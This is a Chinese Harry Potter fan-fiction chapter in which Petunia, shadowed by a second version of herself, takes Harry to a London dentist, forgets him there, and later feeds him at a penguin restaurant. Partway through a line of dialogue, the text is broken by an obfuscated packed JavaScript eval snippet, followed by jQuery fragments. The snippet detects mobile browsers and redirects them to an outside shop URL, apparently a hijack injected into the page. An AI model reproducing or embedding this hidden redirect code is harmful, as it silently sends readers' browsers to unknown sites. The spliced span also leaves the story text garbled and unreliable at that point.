198x年，某一个再普通不过的一天。
“佩妮·德思礼”在一张属于“她”和德思礼两人的双人大床上醒来。
阳光正好透过没有拉实的窗帘投射于“她”的床头上。
“佩妮·德思礼”捂着脸颊慢慢从床上坐起来。
“她”的牙痛愈演愈烈了。
——一颗坏掉的牙齿，就在“她”左下方那一排牙齿的后面，从一开始间中隐隐作痛，到现在持续的明显跳痛，已然折磨“她”有好几个月了。
床右边是空的，德思礼不在那儿，“她”下床要去给达利做饭，突然想起来今天达利也不在家。
因为一个中奖杂志的海浪派对，玛乔丽带走了德思礼还有达利。
玛乔丽特地向“佩妮·德思礼”强调了由于杂志规定了携带人员的限制，她只能携带“德思礼”——主要是“德思礼家的男孩们”一起去。
但出于某些“她”也说不清的理由，这次“她”随她去了。
“她”不喜欢玛乔丽的斗牛犬，玛乔丽也很讨厌“她”说话间不经意流露出来的属于科克沃斯这个小镇的俚语——尽管“她”已经在改了。
达利拿着他的三口径超大容量水枪，催促他的爸爸发车。
“如果那个海滩别墅有趣的话，佩妮，下次我们一家人一起去。”德思礼如此安抚“她”。
“她”还想说什么，但达利不停地催促德思礼发车，德思礼只好在“她”抹眼角的时候摇上了车窗，启动了引擎。
镜子里映出“她”一张瘦削又苍白的面容，冰冷的水珠顺着“她”的额头流下，一股暖流从“她”持续性隐痛的小腹流下。坐到马桶上时，“她”意识到月经也在此时不合时宜地悄然来访了。
“她”迅速冲进卧房，胡乱给自己叠着套了好几层的衣服，镜子里显露出一副潦草的身影，一条半旧的牛仔裤——天知道“她”居然还能套上她结婚前的裤子，红色的开衫外面罩着一件深蓝色的风衣外套。
管不了多体面多好看了，现在“她”只需要温暖，从小腹流出去的血快把“她”四肢的温度全带走了。
“她”从抽屉里翻出预约单，塞进衣帽架上的手提包里，然后将手提包挂在手肘上，就冲出了房间。
今天，“她”不需要给德思礼洗衣服，也不用给达利准备餐食。
今天“她”有了一天独处的时间，“她”要去伦敦把那颗烂牙处理掉。
要推开门出去之前，“佩妮”停下了脚步。
“她”重新倒回客厅，站在了楼梯下那间储物间的门前。
“她”把手放在储物间的门把手上，楼梯的阴影打在“她”的脸上。
房间太安静了，安静到“她”以为只有她一个人了，但“她”突然意识到，这栋房子里其实还有另外一个人。
——就把他留在这个屋子里好了，一会儿把大门锁上，他哪里也跑不了，也丢不了。
“把他一个人扔这儿，饿上他一整天，反正一天不吃饭也没有什么大不了的，这就是你今天的好主意吗？”
佩妮抱着胳膊站在“她”的身边尖锐地嘲讽“她”。
但过了一会儿，佩妮看着另外一个自己没有什么表情地拉开了储物间的门。
光线洒进阴暗的储物间时，把里面那个装睡的孩子吓了一跳。
他一直很安静，努力降低自己在这个家里的存在感，除非他们主动找上他。
“姨妈——”他从床上坐起来，菲薄的被单从他瘦弱的肩头滑落，他从一个纸箱子做成的床头柜上摸起他的眼镜戴上，怯声不安地同“她”打招呼。
“你——”早上开口发出的第一句声音总是听起来有一些沙哑，但说下去就好了，“我只给你三分钟的时间换好衣服，然后就出来。”
外面的天光有些阴沉，一会儿可能要下雨，但乌云蔽日的天空光线依然刺眼，“佩妮”皱着眉抬头看了一眼天空，然后把那个穿着一身宽大且不合身衣服的孩子塞进了副驾驶座。
德思礼把他们的车开走了，但好心的邻居昨晚答应借给了“她”一辆甲壳虫，让“她”今天能够开车去往伦敦看病。
“还需要我教你系安全带吗？”“她”没去看那个孩子，只是低头调整座椅，找到钥匙孔，把钥匙插进去，转动它发动引擎，随后一脚油门踩到底，那辆甲壳虫就冲了出去。
被掼到车后座上的孩子握紧了安全带，呆呆地看着她。他绿色的眼睛里满是不知道“她”要干什么，带他去哪里的茫然无措。
但看见“她”的神色，那孩子还是明智地选择闭上了嘴。
天很阴沉，路况也不好，一连三个路口全是红灯，期间还有车不断加塞到“她”的道上来，小腹和牙齿都在作痛，“她”盯着前放的道路，有些后悔没有在出门的时候吃上一颗止痛药，也在后悔为什么就那样把那个孩子放到了“她”的副驾驶座上——他以为他做得很隐蔽，但“她”早就发现他一直在用那双绿眼睛不停地偷看“她”了。
车厢里很安静，“她”不说话，他也不说话。
直到一辆汽车从他们身后驶过来，坐在驾驶座上的男人摇下车窗警告一直在正常行驶的“她”不要插到他的道上时。
“F**k off……”
“她”平静对那个警告“她”的男人竖起了一根中指，然后摇上了车窗，踩下了甲壳虫的油门，直插到了先前那辆车的前面。
那辆车要往左变道超车，“她”便一样往左变道，那辆车要往右变道，“她”也一样往右侧变道，只牢牢堵在那辆车前，并且在下一个路灯绿灯转黄时，“她”将甲壳虫的油门踩到了底，将后车和几声暴怒的喇叭留给了下一个红灯。
“算你还有一点用。”坐在后排的佩妮对“她”说。
哈利捏紧了安全带，他不停地来回转头，视线在离他们越来越远的后车和“佩妮”的脸上来回摇摆。
“你非要在这个时候给我展示你脖子的灵活程度吗？”“她”冷冰冰地对他说。
“你没说过你还会开车。”他再也忍不住了，他看着“她”的热切眼神使“她”全身都难受了起来。
“我会什么还需要向你汇报吗？”“她”只是冷冰冰地盯着前方的道路。
“我不是这个意思，我只是……一直以来都是弗农姨夫在开车，我以为你不会……为什么你不开车呢——你明明开得很好。”
“闭嘴。”“她”一点儿也不想同他说话。
汽车拐过一个路口后，就是“她”预定的牙科诊所。
汽车停了下来，但“佩妮”却没有立刻下车，“她”只是双手握着方向盘，视线盯着手中的方向盘放空。
“你很痛吗？”空气里突然响起一句突兀的话。
“什么？”“她”皱起了眉头。
“你看起来很难过。”
“你好像在忍痛。”
“你在害怕什么吗？”
“佩妮”深吸了一口气，“她”也不回答哈利，只是将汽车熄了火，拔下钥匙，推开车门走了出去，关上车门之前，“她”用食指指着坐在副驾驶座上的哈利警告他：“在我没有回来之前，你就待在这里，你哪里也不准去，知道吗？”
说完“她”就砰地一声关上了车门。
“喂——”佩妮试图拉住“她”，“你不能这样，你不能把一个孩子单独留在熄火了的车上，这太危险了。”
“佩妮”停了下来。
“她”表情阴郁地抬头看了一眼天空，又踩着“她”的高跟鞋匆匆走回了汽车旁边，拉开了副驾驶座的门。
那孩子就待在副驾驶座上安静地看着“她”——他乖巧地连安全带都没有解开，只是疑惑“她”的去而复返。
“姨妈——”“佩妮”粗暴地把哈利从副驾驶座上拖了下来，拽着他的袖口，把他一路扯进了牙科诊所。
“拜托——”“她”站在导诊台前，对着里面穿着粉红色护士装的女人说，“我与麦克唐纳德先生约了看牙，这是我带的孩子，我只有一个人，我不能把他一个人留在车上，我让他在你这里待一下，我很快出来。”
同时“她”从钱包里掏出一张十英镑的纸币放在了桌上。
柜台太高了，哈利得不停地踮脚跳跃，才能看清“她”在对谁说话，那穿粉红色护士服的女人只是把十英镑的纸币推还给了“佩妮”，然后拉开了隔间的门，对哈利说：“你进来吧。”
看见“佩妮”走进了电梯里，哈利钻进了导诊台里面。
“她是你妈妈吗？”那护士把他放到凳子上，他看起来相当瘦小，穿着宽大又不合身的衣服，还戴着一副与脸蛋完全不符的大眼镜。
“我妈妈已经去世了。”哈利摇了摇头，“她是我的姨妈，我妈妈的姐姐。”
“我爸爸也去世了，现在我只有她一个亲人了，所以我住在她家里。”
“好吧，那你叫什么名字？”那护士从抽屉的最下方拿出了一盒糖，在哈利惊讶的目光中，为他打开了糖盒，“你要吃糖吗？”
“你这颗牙已经烂了很久了，神经正在死亡。”麦克唐纳德医生对“佩妮”说，“你总共需要做四次根管治疗，现在我帮你做第一次。”
探照灯就打在“佩妮”的正上方，强烈的光线中，“她”感到冰冷的钻具伸入了“她”的口腔里。
“第一次要把坏死的神经拔出来，如果里面还灌脓了，脓腔也要彻底清理干净。如果很痛，你就举手示意，但不要乱动。”麦克唐纳德医生对“她”说。
“她”抬起手无声地摆了摆。
伴随着探针敲打“她”牙齿的声音顺着骨头一路传递到大脑的感觉，炫目的光线将她的视线切割成了一块块破碎的画面。
怎么也除不完草的花坪，金色海洋的高尔夫球场，高高扬起的一巴掌。
“她”的小腹也在一抽一抽地疼痛。
怀孕的恶心，生产的阵痛，与德思礼如出一辙的达利，整齐体面的豪宅，狭小幽暗的储物柜。
“这颗牙齿有点难搞，”麦克唐纳德医生说，他戴着口罩，刺眼的灯光模糊了他的面容，“你应该早点来看的，现在它烂得太深了。”
“佩妮”机械地点了点头。
滋滋——超声水枪在“她”眼前喷出一捧水雾，以驱散镜子上凝结的白霜，多余的飞溅到空中的水雾慢慢弥散到“她”的眼前。
科克沃斯永远耸立的烟囱里喷出的白烟，青黑色的天空，“她”和谁手牵手曾经快乐地走在狭窄的街道上。
佩妮、姐姐、百合花、矮牵牛、爸爸妈妈、我爱你、怪胎、砸在“她”头上的树枝……
砰——一声重响，“她”把谁推了下去。
“好了。”麦克唐纳德推了推“她”，“她”从恍惚中回神，才发现不知道何时起，“她”早就泪流满面了。
“她”看了一眼墙上的挂钟，时间已经过去一个半小时了。
刚刚那声砰的重响，是麦克唐纳德卸下一次性探头解除负压的声音。
“很痛吗？”看见“她”的眼泪，麦克唐纳德问“她”。
而“她”只是捂住脸先慢慢摇了摇头，随后又轻微地点了点头。
“你的牙神经烂得很深，所以我得把坏死的东西都拔出来，但这很正常，你只是来的比较晚，并非无计可施，”麦克唐纳德先生见惯了在根管治疗中痛哭流涕的患者，他只是见怪不怪地说，“你还有三次治疗，下个星期还是这个时间好吗？”
佩妮”不说话，只是用一只手捂着嘴点点头，然后用另一只手放在“她”的额角，遮住“她”红肿的眼睛，一股脑冲出了诊间，冲出了牙科诊所，一路冲进了汽车里。
——“她”的灵魂好像也连同坏死的神经一起被拔走了，在原地空留给“她”一片空荡荡的感觉。
“她”双手搭在方向盘上，先在车上痛痛快快哭了一场，才觉得好受了一些。
眼泪慢慢地止住了，“她”启动引擎，将车再开过了好几个街道，最后停在路边，神情恍惚地走进了一家轻食餐馆——体重管理是每一位她们这种太太的必修课。
“喂——”佩妮追着“她”，“你在干什么！”
“她”不搭理她。
“我们没有汤，女士。”
“土豆泥也卖完了。”
“刚刚那位太太要走了最后一份无糖酸奶。”
“现在只有三明治了，你要吗？”
“她”捂着嘴巴，看着菜单，点了点头——“她”饿坏了，从早上起床到现在，“她”什么也没吃，泪水和根管治疗，还有流血带走了“她”大部分的力气，下一间餐馆离这里还有一段距离，“她”迫切地需要比往常更多一点的热量。
但“她”特地向店员强调了——不要全麦面包，要柔软的，方便咀嚼的白面包。
“喂——你疯了吗？你别想你的白面包了，你快想想你自己忘了什么，你这个混球。”佩妮怒骂。
等餐的队伍终于轮到“她”了，店员把可降解纸包装好的三明治放在“她”的托盘里。
“Shit！”看着盘子里的三明治，“她”总算变了脸色，“shit！”
在店员讶异的目光中，“她”一把抓起盘子里的三明治，慌张跑出轻食店，钻进了车里，将三明治胡乱扔到了副驾驶座上，就打着了火不管不顾地冲了出去。
“她”总算想起“她”忘了什么。
——“她”把哈利忘在了牙科诊所。
等“她”回到牙科诊所，那里已经下班了，大厅没剩下多少人，天花板上的灯熄灭了一半，原先坐在导诊台的那个穿粉色衣服的护士也已经不见了。
“佩妮”的一颗心扑通跳了起来。
“她”走进那个空无一人的导诊台，发现哈利就躺在里面用三张塑料凳拼成的一张小床上——他等她等睡着了。
“佩妮”走过去粗暴地将他从椅子上扯了起来，拽着他的手把他带出了牙科诊所。
“我不是故意睡着的，”哈利看着“她”的脸色小心地对“她”解释，“诊所下班后，那个护士阿姨着急回去接她的孩子，她有三个孩子。她就让我在那儿等你，她说你一定会回来接我的。我哪里都没有去，我有听你的话，你让我在这里等你，我就在这里等你，我……”
“佩妮”把哈利不由分说地重新塞回了副驾驶室里去。
哈利一下就看到了副驾驶座上的三明治。
“是我的午餐吗，姨妈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157093|177776||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
？”看着那个三明治，他脸上露出了显而易见的惊喜，他把三明治从副驾驶座上捡了起来，渴望地看着“她”。
他可能以为这是“她”专门为他准备的。
“佩妮”现在一点胃口也没有了，“她”摆了摆手，从汽车的另一边坐上了主驾驶座。
“啊，是全麦三明治，谢谢姨妈！”哈利拆开了三明治包装。
“全麦三明治？”“她”直勾勾地看着他。
“呃……姨妈……我再看看，是全麦三明治……”“她”看着他的眼神一下吓到了他。
他犯错了吗？他不知所措地举着那个全麦三明治，不知道该不该一口咬下去。
“佩妮”劈手夺过了哈利手中的那个三明治，现在“她”看清楚了——
“她”明明备注要的是柔软易咀嚼的白面包，可店员仍然给了“她”一个全麦三明治。
“佩妮”突然再次痛哭了起来。
尽管哈利此刻还在看着她，看着她莫名其妙地为一个全麦三明治痛哭流涕了起来。
——这不应该，“她”太小题大作了。
——这很正常，店员有时候会弄错，她自己也没有核对查看。
——这很正常，这真的很正常。
——只是一片面包而已。
——能有多大的事呢。
但是“佩妮”仍然不可抑制地痛哭着，用力捏着那个全麦三明治，以至于把它都捏变形了。
“我要的是白面包！”她失声痛哭着，“为什么就是不给我白面包呢？”
哈利不知道怎么回答“她”，谁也没有办法回答“她”。
就在哈利诧异的视线中，“她”反手把那个全麦三明治扔出了车窗外。
“姨妈——”看着飞出去的午餐，哈利很心痛，其实全麦面包也行，白面包也行，什么面包都行，只要是吃的就可以，他一点儿也不介意，因为从早上到现在，他也什么都没有吃，他其实也饿坏了。
但他不敢表现出来，他不知道自己哪里又犯了错，他只能看着那个三明治滚到路边草丛的深处，再也不见了。
“系上你的安全带。”“佩妮”吸了吸鼻子，收起了眼泪，短促地对他发布了命令，也不等他坐稳，就发动了汽车。
在左右变道超过好几辆汽车，快速经过好几个街口后，甲壳虫停在了一个海洋动物主题的儿童餐厅门口。
“佩妮”拽着哈利的手，粗鲁地把他拎进了餐厅里去。
他们的餐桌就在企鹅展览馆的边上，隔着一层玻璃，企鹅从哈利身边快速地划了过去，哈利的眼睛都看直了。
“企鹅儿童主题套餐，意面换牛排，再加一份圣代，还有一碗酥皮汤，酥皮汤越烫越好，谢谢。”
等丰盛的食物端上来时，“姨妈——”哈利看起来很惶恐，他不确定等着他的到底是馅饼还是折磨。
“你爱吃不吃，不吃就这样继续饿着肚子。”“佩妮”自顾自地把那碗酥皮汤端到了自己的面前。
这时企鹅饲养员往哈利这边扔了一把小鱼，一大群企鹅从陆地上跳进了水里，虽然隔着一层玻璃，但是企鹅溅起来的水花还是把哈利吓了一跳。
看着哈利笨拙的样子，“佩妮”嗤笑了出来。
这笑容使哈利终于用发着颤的手，把那份牛排端到了他的面前。
“姨妈，你看！土豆泥居然是一只小猫咪的形状欸！”哈利像发现了新大陆一样。
“佩妮”低下头去舀着“她”碗里的汤，错开了哈利看着“她”的视线。
下午时分，汽车缓慢开在回到萨里郡的路上，阳光透过斑驳的树影投射在车窗上。
哈利吃得很饱，他还看到了活蹦乱跳的企鹅，他第一次知道，原来长绒毛的是小企鹅，等毛都掉光了，才意味着企鹅长大了。
“你为什么从来不告诉弗农姨父你会开车？”
“她”不理他，“她”只是专注地看着前方的路。
“你吃饱了吗？”哈利问“她”，“我看你只喝了一碗汤。”
“她”就不该让他吃饱，一吃饱了他就要用他那张一刻不停地叭叭的小嘴烦“她”了。
“佩妮”终于忍不了了，“她”抽空看了他一眼。
“你吃饱了吗？”
哈利点了点头。
“你不困吗？”“她”问。
“有一点。”哈利又点了点头。
“那困了你就睡觉，少来烦我。”
“可是我怕你困，因为只有你一个人开车。”
“佩妮”不说话了。
“姨妈，在牙科诊所你一直不来接我的时候，我以为你忘记我，不要我了。”
“佩妮”的手指不自觉捏紧了方向盘。
“我会很乖，我会听你话的，你能不能……”
“……能不能别不要我？”
“佩妮”咬紧了牙齿。
“你现在还痛吗？”哈利又自顾自地继续说了下去。
“你现在还难受吗？”
“我这里有一颗糖，早上那个护士阿姨给我的，你想要吃糖吗？”
哈利向她伸出手，摊开的手掌上放着一颗糖果——今天那个护士给他的，他本来想藏起来，在哪天没有晚饭的时候，那就是他的晚饭。
汽车突然一个急刹车，哈利的身体用力往前一倾——幸亏有安全带拉着他，他的脑袋才没撞到前窗，但他手中的糖却滚到了椅子下面去了。
“佩妮”直勾勾地看着前方。
“下去。”“她”突然冷漠地对哈利说，“现在就下车。”
哈利也看见了前方。
德思礼的车就停在家门口，本来应该正在参加为期三天的海浪派对的人，不知道为什么提前回来了，德思礼在骂骂咧咧地帮达利往车下搬他的游泳圈、皮划艇。
达利看起来很不开心。
“你自己回去，从后门进去，在他们发现你之前，回到你的房间去。”
“哦。”哈利不说话了，他乖乖解开安全带，打开了车门，慢慢走了下去。
而“佩妮”只是在驾驶座上，双手握着方向盘，冷漠地看着他离去的背影。
看着他重新走回属于他的牢笼。
而“她”就坐在甲壳虫里，把自己锁在另外一个牢笼中。
佩妮坐在后座上，把脸埋在双手里，泪水顺着指缝滑下去。
她想要回去，很想很想回去，回到她的世界里，回到哈利身边。
她不知道要怎么做，才能离开这个鬼地方，离开这个她什么也做不了，什么也改变不了的世界。
——别再折磨她了。
“你要跟着我到什么时候？”耳畔响起一声冰冷的话语。
佩妮悚然一惊，抬起满面泪痕的脸，发现后排的门不知道什么时候被打开了，“她”就站在门外看着她。
——“她”竟然看到她了。
“你要跟着我到什么时候？”
“这是我的故事，现在、立刻，滚回到你自己的故事里去。”
身下坚硬的座椅变得柔软起来，就像一条水流，形成了一个漩涡。
“她”伸出手一推，佩妮还来不及反应，她就跌进了那个漩涡里。